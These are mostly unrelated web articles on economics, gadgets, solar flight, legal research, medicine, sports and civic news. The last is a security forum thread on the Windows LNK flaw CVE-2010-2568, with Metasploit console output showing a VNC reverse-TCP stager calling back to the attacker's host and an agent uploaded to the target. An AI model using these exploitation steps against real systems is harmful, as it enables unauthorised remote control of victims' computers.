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If you think twice before buying that lottery ticket, you're in
good company, says B. Erin Fairweather, assistant professor of
economics at Mount Saint Mary College.
Fairweather's recent Investigating Research on Campus (iROC)
talk discussed "Small Stakes Risk Aversion: Evidence from the
According to Fairweather, economists have found evidence that
subjects are risk averse – they try to avoid risk at the expense of
higher returns – even when the stakes of the bet are very low.
These findings, explained Fairweather, are inconsistent with
current theories about how individuals make decisions when the
outcomes are uncertain.
Often, she says, people stick with small guaranteed payouts or
low gain-high win percentage bets, even when choosing a riskier bet
is statistically in their best interest.
"The subjects might actually be displaying an endowment effect,
rather than classic risk aversion," explained Fairweather.
Endowment effect, she said, is when people ascribe more value to
things simply because they own them – even if they have only had
the item for a short period. Therefore, if given a small stakes
lottery ticket, a research subject might be unwilling to trade it
for a higher stakes one.
Fairweather challenged her audience to view the situation in a
different way: risk aversion might have a strong link with
disappointment aversion. In other words, the thrill of winning is
dwarfed by the disappointment of losing.
"It doesn't matter if you have small stakes or large stakes,
you're always going to be risk adverse when it comes to
disappointment aversion," Fairweather explained. "Maybe it's just
confirmation that disappointment aversion is the way we should be
looking at this."
During seven years as a litigation consultant, Fairweather
provided expertise in securities fraud, financial markets, and
intellectual property. Her other research areas include control
fraud, income inequality, and gender and race.
Fall 2013 marks Fairweather's first semester as a full time
faculty member at the Mount.
"I am very excited to join the Mount community," she said. "My
colleagues have been supporting and welcoming, and my students have
been working hard."
The goal of the Mount's iROC seminar series is to "provide a
forum for Mount faculty, staff, and students to present research
proposals, preliminary data, and completed projects," explained
Douglas A. Robinson, assistant professor of biology and coordinator
of the program.
The iROC presentations feature various academic fields.
Previous iROCs this semester have included "The Amazon – Past,
Present, and Future," by Michael Boms, of the Mount's natural
sciences division; "Women Environmental Artists: Unearthing
Connections and Context," by speaker Maria Minickiello, the Mount's
executive director of curriculum and instruction for online and
adult degree completion; "The Impact of Economic Cycles on the
Career Aspirations and Values of College Students," by Moira Tolan,
professor of business, and A. Reza Hossain, associate professor of
economics; and "The Effect of the Holocaust on Jewish-Catholic
Relations," by Sr. Peggy Murphy, OP, professor of religious
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Kozo 20
£240 | kozo-lamp.com
It might look like something Super Mario built in his spare time, but perch this tubular pipe lamp on a desk or table and you'll appreciate the direct light it will throw on your travails, plumberly or otherwise. Upcycled from galvanised iron pipes and connectors, we hope it's the only U-bend you'll want to show off to your mates. To complete the watery motif, a twist of the tap brings the bulb to life. A sea change from the flowing lines we're used to, but it's hard not to gush. Ahem.
FreedMan Chair
£1500 | freedmanchair.com
A chair that costs £1500 ought to have some pretty special talents. A Pringles dispenser, maybe, or a teleport button. The osteopath-developed FreedMan doesn't have either of those, but it does promise to soothe spines by reinventing the way we sit, with concave seat pads set to the 'golden angle' of 27 degrees and six 'back balls' to relax your muscles. With a 99.6% aluminium construction it's also incredibly light and has an impressively low carbon footprint. All that's missing is the teleport.
Moulton Speed
£7500 | moultonbicycles.co.uk
Not all small-wheeled steeds have to fold (or commute) – the Speed is leading the charge to get small bikes big respect. Looking like the love child of a scaffolder and a NASA engineer, this British-designed-and-made bike is aimed at long-distance cyclo-sportive riders. Compact 20-inch wheels and a low-slung frame keep wind resistance low, and allow for closer drafting of others, while TARDIS-like feature-cramming leaves room for suspension at both ends of its sub-9kg build.
Rokform Rokstand v1 Stand/Rokbed Fuzion case
US$170/US$80 | rokform.com
Some people are happy to prop their iPhone on whatever's nearby, be it a mug, monitor or a convenient cornish pasty. Others want a more illustrious phone throne. For them, only a stand with six cam-adjustable reclining angles, rubber non-slip feet, sound-enhancing speaker ports and the build quality of a tank will do. You can guess which group Rokform are targeting. The Rokstand may be overkill, but it's glorious machined aluminium overkill.
DARWINmachine Hammerhead HMR989
US$2950 | darwinmachine.com
Some PCs have plain, modest boxes that belie their true power. Not so the Hammerhead, which scares off frumpy models with its ice-blue lighting and inside-out style. A CNC-milled, anodised aircraft-aluminium frame is set against translucent white ecoresin panels, and its quick release system allows you to rummage around in its guts with ease. Not that you'll need to swap its 3.4GHz Core i7 Sandy Bridge chip or Nvidia GTX 550 Ti graphics any time soon.

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MOUNTAIN VIEW, Calif. - Bertrand Piccard was flying from Morocco to Spain last year - finishing up another highly successful test of Solar Impulse, the revolutionary airplane he helped design that gets all its power from the sun - when he made a profoundly disturbing discovery: He was actually flying backwards.
At 3,500 pounds, Solar Impulse weighs less than a Hyundai, and its four motors each generate only 10 horsepower, about the same as a motor scooter. Its trim body design makes the plane highly susceptible to head winds, which at that moment meant Piccard and his Pterodactyl-shaped solar array were at 27,000 feet, going in reverse. "That was an interesting experience, quite strange to live," Piccard said last week at the plane's first public appearance, inside Moffett Airfield's historic Hangar 2.
If the winds are at its back, that fate will not befall Solar Impulse when it embarks on its most ambitious journey May 1, setting out across America on an adventure that's not scheduled to finish until early July at New York's JFK Airport. That's not far from Roosevelt Field on Long Island where Charles Lindbergh took off in 1927 on aviation's first trans-Atlantic solo flight. "This airplane could do it nonstop," said co-pilot and project CEO Andre Borschberg, "but because the pilot is not as sustainable as the technology, we have limited ourselves to 24-hour flight duration."
The plane isn't really that slow - stops that could last 10 days are planned in four cities along the way - but even with the ability to fly day and night using only the sun's power, it's no speed demon. With the wind at its back, the plane cruises at 35 mph, about half the speed of the airship Hindenburg.
If all goes well during its first big endurance test, Solar Impulse will attempt to circumnavigate the globe in 2015. That trip will require at least one nonstop stint of five days and extremely nervous nights over the Pacific. The cockpit can accommodate only one pilot at a time, so Borschberg said he will use meditation and Piccard will hypnotize himself while the plane flies on autopilot.
Just a big wing
The plane looks like something you might install on your roof, although if all goes well during test flights over the San Francisco Bay Area that begin next week, it won't actually end up there. It's basically a giant wing with a glider's fuselage and a Port-A-Potty attached. That's where the project's Swiss big cheeses, Piccard and Borschberg, sit in chilly solitude.
From wingtip to wingtip, Solar Impulse is wider than a jumbo jetliner, and yet everything else about it is meant to be lean and mean. It draws all its power from 12,000 solar cells, each the thickness of a human hair, with the energy stored in a lithium polymer battery nearly identical to the one that powers the Tesla Model S electric car.
At Thursday's public rollout, an introductory video stalled briefly - one of the perils the plane confronts during flight - and when it resumed, Piccard's voice was sped up as if he had inhaled helium. A balloonist who circled the planet in 1999, Piccard is a natural born adventurer, following a path similar to those of his grandfather Auguste, a renowned balloonist, and father Jacques, who in 1960 became the first to explore the Mariana Trench in a submarine.
"When I was a child, I was reading books about exploration, about aviation, about the conquest of space," he said. His family moved to the U.S. because of his father's work in 1968, a year before Apollo 11 landed on the moon, propelling Bertrand into suborbital flights of fancy. "Then I saw that the reality was much better than the dream."
80 sponsors on board
To bring the decade-long dream to life, the project's co-founders have assembled a lineup of 80 sponsors, among them Schindler, the world's largest manufacturer of elevators and escalators. An executive from the company compared Piccard and Borschberg to the Wright Brothers, just before using the press gathering to announce the Schindler Solar Elevator.
Even in the darkened hangar, the sun always seemed to be shining on Solar Impulse, with one speaker after another extolling its promise. But the technology has aroused at least modest skepticism.
"This is something to capture the imagination of kids, of innovators," said Ben Lenail, director of business development at AltaDevices, a Sunnyvale company that manufactures thin solar cells with a far more practical application - powering drones already used by the military. "You have to have everything go right. It's a beautiful dream, but in terms of practical application, I think we're still about 15 years away."
Piccard was asked at one point if Solar Impulse - which is already being redesigned for the trip around the world in two years - is the airplane of the future. "It would be crazy to answer yes, and stupid to answer no. Because today, we cannot imagine having a solar-powered airplane with 200 passengers. But in 1903," he said, referring to the Wright Brothers' first flight, "it was exactly the same. And when Charles Lindbergh crossed the Atlantic, he was alone on board, in an airplane full of gasoline. We don't know what's going to happen in the future. But we have to start."
"That was an interesting experience, quite strange to live."
Bertrand Piccard, pilot


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"Case law" is all of the previous decisions made by judges. It is created by judges in their rulings when they write their decisions and give the reasoning behind them. These decisions are often called "opinions" and, in them, judges often cite precedents from other cases and statutes that influenced their decisions. These opinions form the principles that a court will normally consider when interpreting the law. This is called "legal precedent" and is central to legal analysis and rulings.
State trial courts (superior courts) do not publish opinions, so their decisions are not generally used as "legal precedent." The bulk of published opinions come from state and federal appellate courts and the Supreme Court.
A court gives legal precedent more or less weight depending on a number of factors:
When you researched practice guides, annotated codes and statutes, and self-help books, you probably saw and wrote down several references to cases that you want to look up because they are similar to your legal research issue and may help (or hurt) your own case. The references you have will look something like this:
Hutcherson v. Alexander, 264 Cal. App. 2d 126, 70 Cal. Rptr. 366 (1968).
United States v. Dionisio, 410 U.S. 1 (1973).
These are called citations. Citations provide you with the name of the case, the volume of the book in which the case is found, the title of the book, the page number, and the year of the case.
The citations above are in the format prescribed by The Bluebook: A Uniform System of Citation. In the format prescribed by the California Style Manual, they would look like:
Hutcherson v. Alexander (1968) 264 Cal.App.2d 126 [70 Cal.Rptr. 366].
United States v. Dionisio (1973) 410 U.S. 1.
Click to search published opinions by the California Courts of Appeal and Supreme Court.
You can also find past court cases or opinions in law libraries. To find cases in print at your local county law library, you can use a number of tools. If you know the name of the case, you can locate a table of cases that will list the cases alphabetically and give you the book, volume, and page where the case is located. If you have the citation, you can simply find the correct set of books, pull the volume, and turn to the page.
If you are looking for cases by topic, you can use a tool known as a "digest." Digests are indexes to case law and also a way to find cases by topic, name, or subject. Digests are organized alphabetically by subject with numbers that classify the law into topics and subtopics.
Remember, cases with published opinions are Supreme Court or appellate cases, and these are the cases you can cite as authority in your case. And you can find them online or at your county law library. Superior or trial court cases cannot be cited as authority and are not published, so you cannot get them at your library. But if there is something about a superior court case that you think is helpful to you, you can find those decisions and court records in the superior court where the case was decided and sometimes online at that superior court's website.
The federal court system includes the Supreme Court of the United States, U.S. Courts of Appeals, U.S. District Courts, the U.S. Court of Federal Claims, U.S. Court of International Trade, U.S. Court of Appeals for the Armed Forces, and U.S. Bankruptcy Courts.
Click for U.S. Supreme Court opinions.
The U.S. Courts of Appeals consist of 11 circuit courts in addition to the District of Columbia Circuit and the Federal Circuit. California is in the Ninth Circuit along with Alaska, Arizona, Hawaii, Idaho, Montana, Nevada, Oregon, and Washington. Click for information about and opinions issued by the Ninth Circuit Court of Appeals. For information about the other circuits, you can go to your local public law library or use the Ask a Law Librarian service.
California is divided into four U.S. District Court jurisdictions: the Northern District, Eastern District, Central District, and Southern District. Click for opinions and other information from the Central District, Eastern District, Northern District, and Southern District. You can also access opinions in federal courts using the Villanova University School of Law federal case locator.
The U.S. Bankruptcy Courts in California are also divided into the Northern District, Eastern District, Central District, and Southern District. Each district has information online including opinions for the bankrupcty courts. Click on the district for which you want the information.


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The anterior cruciate ligament (ACL) is a ligament in the center of the knee that prevents the shin bone (tibia) from moving forward on the thigh bone (femur).
If the ACL is torn, the knee joint may become unstable and affect the ability to perform work or athletic activities.
ACL reconstruction is surgery to replace the torn ACL ligament. There are several choices of tissue to use for the new ligament, including an autograft (tissue from the patient's own body) or an allograft (tissue from a cadaver). One of the most common autografts use part of the patellar tendon (the tendon in the front of the knee).
The old ligament is removed using a shaver or other instruments. Bone tunnels are made to place the new ligament (patellar graft) in the knee at the site of the old ACL. Screws are commonly used to secure the graft in the bone tunnels, although other methods of fixation are used depending on the type of graft used.
At the end of the surgery, the incisions are closed, and a dressing is applied. ACL reconstruction is usually a very successful surgery. The majority of patients will have a stable knee that does not give way after ACL reconstruction.


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A century or two ago, the Black Canyon through which the Colorado River flows was fit for neither man nor beast. Whether by foot, horse, or covered wagon, its pronounced walls could hardly be traversed by the early settlers. The Black Canyon, named for black volcanic rock which formed the steep walls millions of years ago, was truly inhospitable.
But in the early 20th century, the West started to grow by leaps and bounds. The population of Los Angeles, less than 300 miles away, grew more than 10-fold from 50,000 in 1890 to 576,000 in 1920. And it would double to 1.2 million by 1930. The need to irrigate Western farmland and provide electricity to growing cities led to the construction of Hoover Dam at the Black Canyon from 1931 to 1935.
Fast forward seven decades and more growth forced further change. People had moved to Nevada and Arizona in great numbers, mostly from the Northeast and Midwest. Anyone driving to Las Vegas from Phoenix, Flagstaff, Kingman, or other Arizona cities was funneled onto the two-lane U.S. Route 93 directly onto the dam. The traffic, averaging 14,000 vehicles a day, caused tie-ups which sometimes lasted hours.
Officials planned a solution, which finally has come to fruition. The bypass, formally dedicated as the Mike O'Callaghan-Pat Tillman Memorial Bridge, opened Oct. 19, 2010, 75 years after President Franklin D. Roosevelt dedicated Hoover Dam, the other concrete icon just 1500 feet away. Those settlers' jaws would have dropped at the sight of the 726-foot-tall dam. So what would they think of the dam's concrete cousin right next to it, the 1060-foot-long gem 900 feet above the Colorado River?
Project history
The plan was on the drawing board long before the September 2001 terrorist attacks; it received the official go-ahead in March 2001. Keeping traffic off the bridge for security reasons is a secondary goal of the project. The original road is still used, but only by motorists visiting the dam. While the twin arch bridge gets the most attention, the bypass project also includes 3.5 miles of roads, smaller canyon crossing bridges, powerline tower relocations, and wildlife crossings in Nevada and Arizona.
A project management team consisting of several government agencies oversaw the project, with the Central Federal Lands Highway Division acting in the lead management role for all elements of procurement, design, and construction.
Located so near the dam, there was little doubt that the bridge would be concrete and not steel. The recommendation of a design advisory panel was nearly unanimous. "The state historical preservation officer in Arizona was quite assertive that we needed a design that complemented the dam," says David Goodyear, chief engineer of record for T.Y. Linn International and designer of the bridge. "It was certainly destined to be concrete."
While site excavation removed 60,000 cubic yards of earth, segments for the vertical columns were cast at a Casino Ready Mix plant about 10 miles away. These formed the vertical columns connecting the arch to the deck. Casino Ready Mix was eventually purchased by Silver State Materials and then acquired by CalPortland.
For the arch, the most intricate portion of the project, "cast-in-place was the only way to go," Goodyear says. "We allowed a precast option for the arch and one bidder took it a pretty long way. But when the sections get as big as they are for this arch rib, handling the logistics of precast gets to be complex and expensive."


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Impetigo is a common skin infection.
Impetigo is caused by streptococcus (strep) or staphylococcus (staph) bacteria. Methicillin-resistant staph aureus (MRSA) is becoming a common cause.
Skin normally has many types of bacteria on it. When there is a break in the skin, bacteria can enter the body and grow there. This causes inflammation and infection. Breaks in the skin may occur from injury or trauma to the skin or from insect, animal, or human bites.
Impetigo may also occur on skin where there is no visible break.
Impetigo is most common in children who live in unhealthy conditions.
In adults, it may occur following another skin problem. It may also develop after a cold or other virus.
Impetigo can spread to others. You can catch the infection from someone who has it if the fluid that oozes from their skin blisters touches an open area on your skin.
Symptoms of impetigo are:
Your health care provider will look at your skin to determine if you have impetigo.
Your provider may take a sample of bacteria from your skin to grow in the lab.This can help determine if MRSA is the cause. Specific antibiotics are needed to treat this type of bacteria.
The goal of treatment is to get rid of the infection and relieve your symptoms.
Your health care provider will prescribe an antibacterial cream. You may need to take antibiotics by mouth if the infection is severe.
Gently wash (do not scrub) your skin several times a day with an antibacterial soap to remove crusts and drainage.
The sores of impetigo heal slowly. Scars are rare. The cure rate is very high, but the problem often comes back in young children.
Impetigo may lead to:
Call your health care provider if you have symptoms of impetigo.
Prevent the spread of infection.
Keep your skin clean to prevent getting the infection. Wash minor cuts and scrapes well with soap and clean water. You can use a mild antibacterial soap.
Habif TP. Bacterial infections. In: Habif TP, ed. Clinical Dermatology. 5th ed. St. Louis, MO: Elsevier Mosby; 2009:chap 9.
Impetigo. Alvero R, Ferri FF, Fort GG, et al, eds. In: Ferri's Clinical Advisor 2015. 1st ed. Philadelphia, PA: Elsevier Mosby; 2014:section I.
Morelli JG. Cutaneous Bacterial Infections. In: Kliegman RM, Behrman RE, Jenson HB, Stanton BF, eds. Nelson Textbook of Pediatrics. 19th ed. Philadelphia, PA: Elsevier Saunders; 2011:chap 657.
Pasternack MS, Swartz MN. Cellulitis, necrotizing fasciitis, and subcutaneous tissue infections. In: Mandell GL, Bennett JE, Dolin R, eds. Principles and Practice of Infectious Diseases. 7th ed. Philadelphia, PA: Elsevier Churchill Livingstone; 2009:chap 90.
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The fall sports hit stride this week as both the men's soccer team and volleyball team will open their season at Marshall while women's soccer hosts one more before heading to the University of Colorado Tournament.
Men's Soccer: Being picked to win the Horizon League in the 2012 Coaches Poll, the Raiders will start the campaign Friday night at Marshall. WSU returns 2011 first-teamer Bryce Rockwell-Ashton as well as newcomer of the year and starting goalie Craig Feehan. WSU posted a record of 11-7-2 and advanced to the championship game of the Horizon League before losing to Loyola 1-0.
Marshall, 8-8-1 last year, also opens the season Friday night. Both teams played their openers in 2011 as the Raiders won 1-0 at the Athletes in Action complex in Xenia. The Thundering Herd were picked to finish eighth in the Conference USA preseason poll but boasts the league's Preseason Defensive Player of the Year in goalie Daniel Withrow as well as two other Preseason All-Conference players. WSU leads overall 6-4-0.
WSU went 0-1-1 in preseason action, losing at #10 Akron 5-0 and tying at home against defending Big East champion Marquette 0-0.
Women's Soccer: Wright State women's soccer won its opener 1-0 over Ohio last Friday night on a late goal by Emilie Fillion.
This week, WSU will host Mount Vernon Nazarene Monday at 7 pm before heading west to play in the Omni Hotels Colorado Women's Soccer Classic hosted by the University of Colorado in Boulder. WSU will play Denver Friday before taking on the host team Colorado Sunday. Both games are slated to start at 3:30 pm eastern time. Colorado went 4-13-2 but is 1-0-1 so far this season while Denver went 16-5-0 in 2011 while being picked to win the Western Athletic Conference in 2012.
Mount Vernon Nazarene went 12-9-2 a year and will open their 2012 season with the Raiders Monday night. Tickets can be bought at the gate for $5 and $3 or $2 for groups of 15 or more. WSU students will be admitted free of charge with an ID.
Volleyball: Under first-year head coach Susan Clements, the Raiders will open the 2012 campaign at the Thunder Invitational host by Marshall Friday and Saturday.
WSU opens with the host team Friday at 7 pm--Marshall went 10-21 overall last fall. On Saturday, the Raiders will take on Miami at 10:30 am and IUPUI at 5:30 pm. In 2011, the RedHawks finished 16-16 while the Jaguars finished 15-16 overall.
WSU was picked seventh in a Horizon League preseason poll after finishing 6-23 in 2011.
All home fall events can be seen live on the Horizon League Network (HLN) and accessed through wsuraiders.com.


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Calendar of Events
Sep 9
NSW: Lunch with your NSW Group
12:00 – 1:30 pm / Various Locations
Exact meeting location will be determined in previous NSW group meetings. Don't forget to bring your OneCard to access your meal plan.
Sponsored by New Students 2016. Contact: Sarah Wojnicki, x4462
Students, Faculty, Staff, Alumni, Families, Prospective Students, New Students, Faculty Emeriti


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BREVARD, N.C.-The Brevard College volleyball team jumped out to a 2-1 lead against Tusculum College in Boshamer Gymnasium on Saturday afternoon, but the Pioneers stormed back to win the match in five sets. The Pioneers grabbed the South Atlantic Conference match by scores of 25-17, 21-25, 22-25, 25-13, and 15-11.
Megan Hasse contributed 20 kills to pace the Pioneers (15-7, 10-5 SAC), while Brevard sophomore Fatima Gharachorloo led Brevard (6-14, 2-13 SAC) with a season-high 19 kills.
The Pioneers took the opening set and built a 13-10 lead in the second set before Brevard tied the score with three straight points. Tusculum regained the lead at 17-15 on a kill from Hasse, but BC regained the lead for good at 21-20 on the first of back-to-back kills from Gharachorloo en route to evening the match at 1-1.
Brevard rallied to tie the score at 9-9 after falling behind 6-2 in the third set. After a brief 10-10 tie the Tornados orchestrated a 5-0 run that put BC up 15-10. Brevard was able to hold off TC for the rest of the set to take a 2-1 set lead.
TC took the fourth set with relative ease, and scored three straight points in the final set to break a 6-6 tie on their way to the 15-11 match-clinching set win.
Erin Rollins chipped in 13 kills and Camille Cameron had 12 to help power BC. Aleksandra Vrvilo had a match-high 23 digs for the Tornados, while Kayla Hanus had 12 digs to go along with 51 assists.
Brevard returns to South Atlantic Conference action as they visit the Anderson University on Friday night for a 7 p.m. match with the Trojans at the Abney Athletic Center.
Short Box Score (Match)
Tusculum vs Brevard (Oct 26, 2013 at Brevard, N.C.)
Tusculum def. Brevard 25-17,21-25,22-25,25-13,15-11
Tusculum (15-7 (10-5 SAC)) (Kills-aces-blocks) - Megan Hasse 20-2-0;
Danae Stauffer 14-0-2; Kassie Voelker 9-1-4; Rachel Garnett 5-0-2;
Victoria Ashley 4-0-3; Jaida Allen 3-0-4; Sarah Bouley 1-0-0; Ashley
Sarmiento 0-4-0; Andrea Amettis 0-1-0; Hannah Berling 0-1-0; Caitlyn
Dean 0-1-0; Totals 56-10-8.0. (Assists) - Ashley Sarmiento 22; Hannah
Berling 13. (Dig leaders) - Caitlyn Dean 17; Ashley Sarmiento 13;
Megan Hasse 8
Brevard (6-14 (2-13 SAC)) (Kills-aces-blocks) - Fatima Gharachorloo
19-1-1; Erin Rollins 13-0-2; Camille Cameron 12-0-0; Savannah Cox
5-0-1; Megan Clark 3-0-1; Joy Oswalt 2-1-2; Kayla Hanus 2-1-0; Bailey
Hayes 0-1-1; Aleksandra Vrvilo 0-1-0; Totals 56-5-4.0. (Assists) -
Kayla Hanus 51. (Dig leaders) - Aleksandra Vrvilo 23; Fatima
Gharachorloo 14; Kayla Hanus 12; Kortney Conner 8


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The Texas Department of Transportation is pleased to present a request for proposals (RFP) to shortlisted teams for the design, construction and capital maintenance of the SH 183 Managed Lanes Project.
Executed Version
On Nov. 20, 2014, TxDOT officials executed a design-build agreement for the design, construction, finance, operation and maintenance of the SH 183 Managed Lanes Project in Dallas.
Developer Summaries
On May 29, 2014, the Texas Transportation Commission conditionally awarded SouthGate Mobility Partners to enter a design-build agreement for the SH 183 Managed Lanes Project.
Legal disclaimer - The Reference Information Documents are provided as reference information only project documents. The information contained in these documents reflects information as of any date or time identified therein. TxDOT has not determined whether the project documents are accurate, complete, pertinent, or of any other value to potential developers. TxDOT makes no representation, warranty or guarantee as to, and shall not be responsible for, the accuracy, completeness, or pertinence of the project documents, and, in addition, shall not be responsible for any interpretations thereof or conclusions drawn therefrom. The statements made in the project documents that are not purely historical are forward-looking statements, including TxDOT's hopes, intentions or strategies regarding the future. These statements are based on information currently available to TxDOT and TxDOT assumes no obligation to update any such forward-looking statements.
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text: SAN DIEGO ( TheStreet) -- The setting: upscale, trendy. Think dark velvet couches and chairs, dim lighting, a boutique hotel in San Diego's Gaslamp District. The crowd: definitely hipsters. Of all ages. The event: On this evening it's a Napa Valley Winery representative standing before a crowd of perhaps 30 people, explaining the colorful history of the winery and its unique product as people enjoy samples and listen quietly. The gathering was hosted by the Andaz Hotel. And it was just the latest in a series of unique events the chain began offering at its locations around the world in 2011. Known as the Andaz Salon series, it takes cues directly from the salons held in France during the 17th and 18th centuries that were dynamic gatherings of society's leaders, artists and politicians. Andaz, a chain of nine boutique hotels with locations from San Diego to New York City to Shanghai and Amsterdam, prides itself not only on providing great places to stay, but on showcasing the creative, the artistic and the up and coming. "We wanted to create these unique events -- whether it's a farmers market or showcasing an artist or a conversation with fashion designer -- that bring hotel guests and locals together," says Andaz's Tristan Dowell, regional vice president of global sales for the Americas. The hope is also that the events help Andaz's guests depart from a destination feeling more like a local than a visitor. "Our ultimate goal with the brand is to enhance the guest experience and provide an engaging experience," Dowell says. Andaz has hosted a range of salon events. Past events have included a farmers market at the Andaz Wall Street location featuring farmers from the Hudson Valley, and the chef from Andaz London taking a salon audience shopping at a local market, then returning to the hotel to host a cooking demonstration. Many of the events are free, but some cost as much as $200 or $250, Dowell says. The number of people in attendance typically ranges from a handful to 30 or 40.


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LAKEWOOD - Despite an increase in property crime, Lakewood is still an ideal city to live in, Mayor Diane DuBois said in her annual State of the City address Wednesday.
From the long-awaited completion of repaving residential roadways to fighting crime, city officials spoke of past accomplishments and future goals for Lakewood.
"We make a big deal of our streets here in Lakewood and one very big symbol of our street work is coming to fruition next week as we repave the last of Lakewood's 143 miles of residential roadways," DuBois said. "Not many cities can say they've done that in 20 or 30 years of effort - or ever.
"Lakewood has done it in 12 years of steady, focused work."
Like many others across the state, Lakewood took a financial hit with the loss of its redevelopment funds. But the efforts were not as painful as other cities experienced, DuBois said.
"For the most part we had met our redevelopment goals and we weren't relying on redevelopment funds for core services," she said. "Lakewood is now losing about $2 million a year to the state that we were counting on as redevelopment revenue. That's about a 5 percent loss to our budget every year."
Over the past year, several improvements were made to city parks, along with advances in technology.
The Lakewood app, recently approved by Apple, is now available for iPhones and coming soon for Android phones for all customer service needs in the city, she said.
Capt. Merrill Ladenheim, commander of the sheriff's Lakewood Station, said public safety has always been a priority for Lakewood residents.
Lakewood had experienced a five-year downward trend in crime but saw a rise in 2012 in auto thefts, burglaries and other property crimes, Ladenheim said.
The increase is due in part to the state's prison realignment, which has led to the release of many nonviolent criminals in the area, he said.
Because of this, the Lakewood City Council will continue to make substantial investments in public safety, DuBois said.
The city recently purchased and installed the Advanced Surveillance and Protection System at major intersections around the Lakewood Center.
"In just two months of operation, that system is already proving to be a valuable crime-fighting tool alerting the sheriff's station to wanted vehicles traveling in Lakewood and successfully directing our deputies on where to go to pull them over and arrest the suspects," the mayor said.
"In 2013 and beyond, we'll continue to make these and other investments in public safety so that Lakewood can remain one of the safest communities in the region - even during challenging times."
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While TSRHC is known across the globe for its excellence in pediatric orthopaedics, it is also recognized for groundbreaking research. The studies TSRHC staff participate in allow physicians worldwide to better understand various orthopaedic conditions.
One particular research study focuses on Legg-Calve-Perthes Disease (LCPD), a condition that affects the femoral head or the "ball" part of the hip joint. In Perthes Disease, the blood supply to the femoral head is disrupted and all or part of the femoral head dies from the lack of blood flow.
A History of Research
Twenty years ago, Tony Herring, M.D., started a large, prospective multi-center study with the purpose of understanding the outcomes of pediatric patients with Perthes Disease. Participating institutions treated patients with five different methods: non-surgical treatment, which included bracing and physical therapy; surgical treatment, which included femoral or pelvic osteotomy; and observation. Herring and his colleagues published their findings in the 2004 Journal of Bone and Joint Surgery.
Herring, along with Dan Sucato, M.D., M.S., led the efforts to invite the patients from the study who were treated non-operatively back to TSRHC for a clinical, radiographic and functional evaluation.
"The results of this study gave us the unique opportunity to review the long-term outcomes of patients who were treated with non-operative intervention. We found that the majority of these patients complained of increasing pain and dysfunction. This was the first study to document these findings at 20-year follow-up," said Sucato. These results were published last year in The Journal of Bone and Joint Surgery.
Sucato was recently awarded the Angela Kuo Memorial Award, a $30,000 grant, from the Pediatric Orthopaedic Society of North America (POSNA) at the 2013 POSNA Annual Meeting. This grant will be used to fund the third part of this study, which will review the clinical, functional and radiographic outcomes of patients originally treated with surgery. At this time, 18 patients from across the nation have participated in the follow-up study.
Follow-up Study for the Future
One of these patients, Jaclyn Davidson, age 30, recently visited TSRHC for an evaluation with Sucato and Harry Kim, M.D., M.S. Davidson was originally treated with pelvic surgery when she was 7 years old.
"Having the opportunity to evaluate patients like Ms. Davidson after 20 years of follow-up allows us to keep learning about the long-term effects of treatment patterns for Perthes Disease. We are grateful for their time and efforts. The results of this data will help us improve treatments for our current patients with Perthes Disease," Sucato noted.
As the study moves forward, TSRHC staff will continue to learn more about the condition and how to better treat patients who are affected by it.
To learn more about the disease and the multicenter study research for current patients with Perthes Disease happening at TSRHC, please visit: www.perthesdisease.org.


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I've posted a new blog about the Windows LNK vulnerability (CVE-2010-2568) and how you can protect yourself or customers against this vuln.
Metasploit released an exploit for it in the newest revision.
In the video i just show how to use the browser way but you can also put the files on a USB Stick and own you victim this way.
Last edited by hardez; 03-24-2011 at 05:33 AM.
Thread moved from beginner section to here.
To be successful here you should read all of the following.
If you are new to Back|Track
Back|Track Wiki
Failure to do so will probably get your threads deleted or worse.
autoplay feature is disabled by default in Windows 7 so with lnk file using desktop.ini doesn't work
I tested this on two PCs with Win7
win7 is vulnerable to this exploit but didn't work for me
I thought that this is the "new" and "dangerous" thing about this exploit that you don't need any autostart options 'cause Windows have a flaw in how it interprets the icon of the file!
So that it's executed as soon as Windows trys to load the icon of the link!
Last edited by hardez; 07-20-2010 at 07:49 PM.
Excuse my noob-ness, but the original post indicates towards some files you can put on a USB stick to execute this vulnerability, where might one find such files? Or are they included with Metasploit and located somewhere in the Metasploit directory?
PS: Mods can i post a link with technical information? It' not of my authorship
Hi Hardez,
(Great video)
Just watched your video and tried to reproduce it but I i'm missing something.
I can almost complete the exploit but it binds to my external card as an endpoint
So I tihnk the problem is that it is binding to my physical address and not to my vbox addressCode:meterpreter > run vnc[*] Creating a VNC reverse tcp stager: LHOST=10.0.0.95 LPORT=4545)[*] Running payload handler[*] VNC stager executable 73802 bytes long[*] Uploaded the VNC agent to C:\WINDOWS\TEMP\mUCfWD.exe (must be deleted manually)[*] Executing the VNC agent with endpoint 10.0.0.95:4545...
So I changed the srvhost in options to 192.168.56.1
but then I get
Sorry if this is in the wrong section, but it was in the noobs section, and I know this is certainly a noob question so i'm not sure..... any help would be appreciatedCode:msf exploit(ms10_xxx_windows_shell_lnk_execute) > set srvhost 192.168.56.1 srvhost => 192.168.56.1 msf exploit(ms10_xxx_windows_shell_lnk_execute) > exploit[*] Exploit running as background job. [-] Handler failed to bind to 192.168.56.1:4444 [-] Handler failed to bind to 0.0.0.0:4444 [-] Exploit exception: The address is already in use (0.0.0.0:4444).
oh yes - I can open a vnc session no problems using the run one_vnc.rb exploit, so I guess I have the right software?
cheers all
Hi Hardez, Great video I just have a couple of questions - they are noob questions but since the video was moved here I'd still like to ask.
I'm following the exploit but instead of launching the exploit and binding to my Vbox adapter the exploit listens on my physical adapter on a different subnet, so I can't trigger the vulnerability.
I tried to change the srvhost in options but still no go!
here's what I tried
So my question is howto change the local ip from 10.0.0.95:80 to 192.168.56.1:80?Code:msf exploit(ms10_xxx_windows_shell_lnk_execute) > exploit[*] Exploit running as background job.[*] Started reverse handler on 192.168.56.1:4444 [*] [*] Send vulnerable clients to \\10.0.0.95\KfTO\.[*] Or, get clients to save and render the icon of http://<your host>/<anything>.lnk[*] [*] Using URL: http://0.0.0.0:80/[*] Local IP: http://10.0.0.95:80/[*] Server started.
I really appreciate the video and any feedback it would probably help other noobs too.
Also once the vuln is executed does that automatically start a vnc viewer like the one_vnc.rb exploit?
from room362
cheers again
Last edited by lupin; 07-21-2010 at 07:26 AM. Reason: Merging...
@Onemajorflaw no need to excuse
like ravbyte said it doesn't matter wether you switch autostart on or off 'cause windows executes the exploit as soon as it finds the lnk file and thats in the moment you plug in the USB Drive.
The Video and the Metasploit version of this exploit is designed for exploiting by WebDav but there is a version (the original one for example) that is designt for USB.
I already asked HD Moore (coder of Metasploit) wether there will be a version for USB but he don't answered till now.
